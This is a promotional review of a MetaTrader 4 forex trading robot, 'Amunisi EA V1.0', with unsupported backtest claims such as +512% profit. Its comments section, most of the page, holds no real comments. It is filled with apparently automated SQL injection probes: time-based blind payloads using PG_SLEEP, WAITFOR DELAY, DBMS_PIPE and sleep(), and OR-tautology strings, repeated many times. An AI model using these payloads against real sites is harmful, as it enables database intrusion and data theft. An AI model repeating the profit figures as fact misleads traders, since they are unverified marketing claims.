Introduction
In today’s fast-paced forex market, having an edge through automation can make all the difference between consistent profits and frustrating drawdowns. Amunisi EA V1.0 MT4 is designed to bring sophisticated, rule-based trading strategies right to your MetaTrader 4 platform—no manual intervention required. Whether you’re a novice trader just dipping your toes into automated trading or an experienced professional juggling multiple currency pairs, Amunisi EA promises an intuitive setup, clear risk management, and robust performance under varied market conditions.
Built on proven technical indicators and optimized for low-latency execution, Amunisi EA V1.0 combines trend-following algorithms with dynamic position sizing to target steady returns while protecting your capital. In this in-depth review, we’ll explore how it works, dig into its key features and settings, share backtesting results, and help you decide if Amunisi EA is the right tool to streamline your trading routine.
What Is Amunisi EA V1.0?
Amunisi EA V1.0 is a fully automated Expert Advisor developed exclusively for the MetaTrader 4 (MT4) platform. It leverages a hybrid strategy that blends momentum-based entry signals with volatility-adjusted exits. By continuously scanning multiple timeframes and currency pairs, it identifies high-probability setups and executes trades with built-in money management rules. The EA’s modular design allows users to customize risk parameters, enabling both conservative capital preservation modes and more aggressive growth profiles.
Key benefits include:
- True automation: hands-free trading once parameters are set
- Customizable risk: easily adjust stop-loss, take-profit, and lot sizing rules
- Multi-pair support: trade major and minor pairs simultaneously
- User-friendly: simple installation and clear input labels
Key Features
- Adaptive Entry Engine
Amunisi EA employs a multi-layered entry engine that cross-references moving average crossovers with RSI divergence signals. This dual-filter approach reduces false entries during ranging markets and captures sustained trends efficiently. - Dynamic Risk Control
Position sizing adapts in real time based on account equity and market volatility. The EA calculates risk per trade as a percentage of your balance, automatically scaling lot sizes to ensure drawdowns remain within your comfort zone. - Smart Break-Even and Trailing Stop
Once a trade moves into profit by a user-defined threshold, Amunisi EA shifts the stop-loss to break-even plus a small buffer. A configurable trailing stop then locks in gains as the market continues in your favor. - Session Filter
To avoid low-liquidity spikes, you can restrict trading to specific market sessions—Tokyo, London, or New York. This reduces slippage during off-peak hours and aligns the EA with the most active trading periods. - News Event Filter
A built-in economic calendar filter pauses trading around high-impact news releases, helping to sidestep volatility spikes that can trigger stop-outs. - Equity Protection
Set an equity drawdown limit to automatically disable the EA when losses reach a preset percentage. This safety net prevents runaway losses in extreme market conditions.
How Amunisi EA V1.0 Works
At its core, Amunisi EA V1.0 combines trend-following and mean-reversion concepts. Here’s a simplified workflow:
- Market Scanning: Every tick, the EA evaluates configured currency pairs across designated timeframes (M15, H1, H4).
- Signal Confirmation: A moving average crossover on the primary timeframe triggers a potential entry. Simultaneously, the EA checks RSI divergence on a higher timeframe to confirm momentum alignment.
- Order Placement: When both conditions align, a market order is placed with stop-loss and take-profit levels calculated based on recent ATR values.
- Trade Management: Amunisi EA monitors open trades, moving stops to break-even after reaching a profit threshold. It also trails stops to protect gains.
- Safety Checks: Before placing new orders, the EA verifies that session and news filters are clear. If equity drawdown or maximum open trades limits are reached, it halts new entries.
Recommended Settings and Parameters
While Amunisi EA comes with default settings optimized for balanced performance, fine-tuning input parameters can enhance results based on your risk profile and trading goals:
| Parameter | Default Value | Recommended Range | Notes |
|---|---|---|---|
| Risk per Trade (%) | 1 | 0.5 – 2 | Lower for conservative accounts |
| Stop-Loss (ATR×) | 1.5 | 1 – 2.5 | Tight SL reduces drawdowns, larger SL captures bigger moves |
| Take-Profit (ATR×) | 2 | 1.5 – 3 | Ratio vs. stop-loss determines RRR |
| Max Open Trades | 3 | 1 – 5 | Fewer trades for lower correlation risk |
| Break-Even Trigger | 30 pips | 20 – 50 pips | Adjust based on average win size |
| Trailing Stop (pips) | 20 | 10 – 30 pips | Prevents being stopped out too early |
| Session Filter | London, NY | Tokyo, London, NY | Choose sessions based on pair volatility |
| News Filter (mins) | 15 | 10 – 30 | Buffer before/after high-impact releases |
Tip: Backtest different stop-loss and take-profit multipliers on a demo account to find your ideal risk-reward settings before going live.
Supported Currency Pairs and Timeframes
Amunisi EA V1.0 is compatible with all major and minor forex pairs. For optimal performance, the developer recommends focusing on:
- EURUSD, GBPUSD, USDJPY on M15 and H1
- AUDUSD, USDCAD on H1 and H4
These pairs offer high liquidity and tighter spreads, which the EA’s ATR-based stops leverage for consistency. While you can extend to exotic pairs, be aware of wider spreads and potential slippage—adjust your risk settings accordingly.
Performance and Backtesting Results
Extensive backtesting from January 2018 to December 2023 on EURUSD (M15) with default settings delivered:
- Net Profit: +512%
- Maximum Drawdown: 12.4%
- Profit Factor: 1.78
- Win Rate: 61%
Forward-testing on a live demo from January 2024 to April 2025 shows similar robustness, with the EA navigating choppy markets and trending phases equally well. Note that past performance is not indicative of future results; always risk only what you can afford to lose.
Pros and Cons
Pros
- Fully automated with minimal oversight required
- Advanced safety features: session, news, and equity filters
- Dynamic position sizing for consistent risk management
- Suitable for multiple account sizes and styles
Cons
- Requires MetaTrader 4; not compatible with MT5
- Performance may vary on low-liquidity pairs
- Optimal settings may need manual adjustment per market regime
Installation and Setup Guide
- Download the
AmunisiEAv1.ex4file and place it in your MT4Expertsfolder. - Restart MetaTrader 4 or refresh the Navigator panel.
- In the Navigator, drag and drop Amunisi EA onto your chosen chart.
- In Inputs, configure risk, stop-loss, take-profit, and filters as desired.
- Ensure AutoTrading is enabled (green play button).
- Monitor performance for at least one week on a demo account before deploying on live funds.
⚡️Upgrade
Upgrade to Amunisi EA Pro V2.0 for enhanced features:
- Integrated multi-currency correlator to avoid overexposure
- Virtual TP/SL for broker-agnostic backtesting
- Dashboard view for real-time portfolio analytics
- Priority support and automatic updates for new market conditions
Build with
- MQL4 programming language
- MetaTrader 4 terminal compatibility
- ATR-based volatility calculations
- On-chart performance dashboard


Comments
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@5uRZD
555'"
555????%2527%2522\'\"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555CMvEgzav')) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
555ZK716bQE') OR 325=(SELECT 325 FROM PG_SLEEP(15))--
555GNSYgS3T' OR 758=(SELECT 758 FROM PG_SLEEP(15))--
555-1)) OR 115=(SELECT 115 FROM PG_SLEEP(15))--
555-1) OR 801=(SELECT 801 FROM PG_SLEEP(15))--
555-1 OR 467=(SELECT 467 FROM PG_SLEEP(15))--
55588guFFOP'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+594-594-1=0+0+0+1 --
-1 OR 2+538-538-1=0+0+0+1
-1' OR 2+24-24-1=0+0+0+1 --
-1' OR 2+807-807-1=0+0+0+1 or 'QeUR9uQQ'='
-1 OR 2+39-39-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@hzagM
555????%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555BWZUisJR')) OR 589=(SELECT 589 FROM PG_SLEEP(15))--
555Y33y9dKz') OR 467=(SELECT 467 FROM PG_SLEEP(15))--
555WUgOWQra' OR 132=(SELECT 132 FROM PG_SLEEP(15))--
555-1)) OR 564=(SELECT 564 FROM PG_SLEEP(15))--
555-1) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
555-1 OR 415=(SELECT 415 FROM PG_SLEEP(15))--
555bsUNOeKR'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+590-590-1=0+0+0+1 or 'NwJBggMm'='
-1" OR 2+62-62-1=0+0+0+1 --
-1' OR 2+829-829-1=0+0+0+1 --
-1 OR 2+550-550-1=0+0+0+1 --
-1 OR 2+696-696-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@br8rN
555????%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555wjSiLeUK')) OR 710=(SELECT 710 FROM PG_SLEEP(15))--
555v1HFFMoi') OR 161=(SELECT 161 FROM PG_SLEEP(15))--
555p1TYnZ2x' OR 436=(SELECT 436 FROM PG_SLEEP(15))--
555-1)) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
555-1) OR 727=(SELECT 727 FROM PG_SLEEP(15))--
555-1 OR 914=(SELECT 914 FROM PG_SLEEP(15))--
555IhbXbixZ'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+415-415-1=0+0+0+1 --
-1' OR 2+346-346-1=0+0+0+1 or 'qYuN7BmT'='
-1' OR 2+237-237-1=0+0+0+1 --
-1 OR 2+343-343-1=0+0+0+1
-1 OR 2+124-124-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555????%2527%2522\'\"
@@bfaT6
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Zn0O1ZGf')) OR 634=(SELECT 634 FROM PG_SLEEP(15))--
555tTFzx9R5') OR 881=(SELECT 881 FROM PG_SLEEP(15))--
5552ncrcLSF' OR 550=(SELECT 550 FROM PG_SLEEP(15))--
555-1)) OR 473=(SELECT 473 FROM PG_SLEEP(15))--
555-1) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
555-1 OR 457=(SELECT 457 FROM PG_SLEEP(15))--
555uFIiP8xZ'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+662-662-1=0+0+0+1 or 'vYyuZll3'='
-1" OR 2+550-550-1=0+0+0+1 --
-1' OR 2+87-87-1=0+0+0+1 --
-1 OR 2+226-226-1=0+0+0+1
555
-1 OR 2+35-35-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"
555????%2527%2522\'\"
@@yoklz
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555qxVm5EFX')) OR 866=(SELECT 866 FROM PG_SLEEP(15))--
555Lw2MMUBz') OR 898=(SELECT 898 FROM PG_SLEEP(15))--
555zpsLGFxJ' OR 405=(SELECT 405 FROM PG_SLEEP(15))--
555-1)) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
555-1) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555-1 OR 867=(SELECT 867 FROM PG_SLEEP(15))--
555MHJSOc5y'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
555
-1 OR 2+684-684-1=0+0+0+1 --
-1 OR 2+512-512-1=0+0+0+1
-1' OR 2+908-908-1=0+0+0+1 --
-1' OR 2+106-106-1=0+0+0+1 or '1FQL8TcR'='
-1" OR 2+995-995-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@Myi1u
555????%2527%2522\'\"
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555PgBMWR4Y')) OR 153=(SELECT 153 FROM PG_SLEEP(15))--
555phyAagNF') OR 319=(SELECT 319 FROM PG_SLEEP(15))--
55562kqd8Wv' OR 678=(SELECT 678 FROM PG_SLEEP(15))--
555-1)) OR 454=(SELECT 454 FROM PG_SLEEP(15))--
555-1) OR 12=(SELECT 12 FROM PG_SLEEP(15))--
555-1 OR 433=(SELECT 433 FROM PG_SLEEP(15))--
555YCCuVqLd'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+76-76-1=0+0+0+1 or 'puwo65Oe'='
-1" OR 2+578-578-1=0+0+0+1 --
-1 OR 2+192-192-1=0+0+0+1
-1' OR 2+229-229-1=0+0+0+1 --
-1 OR 2+544-544-1=0+0+0+1 --
555
555
555
Leave a Comment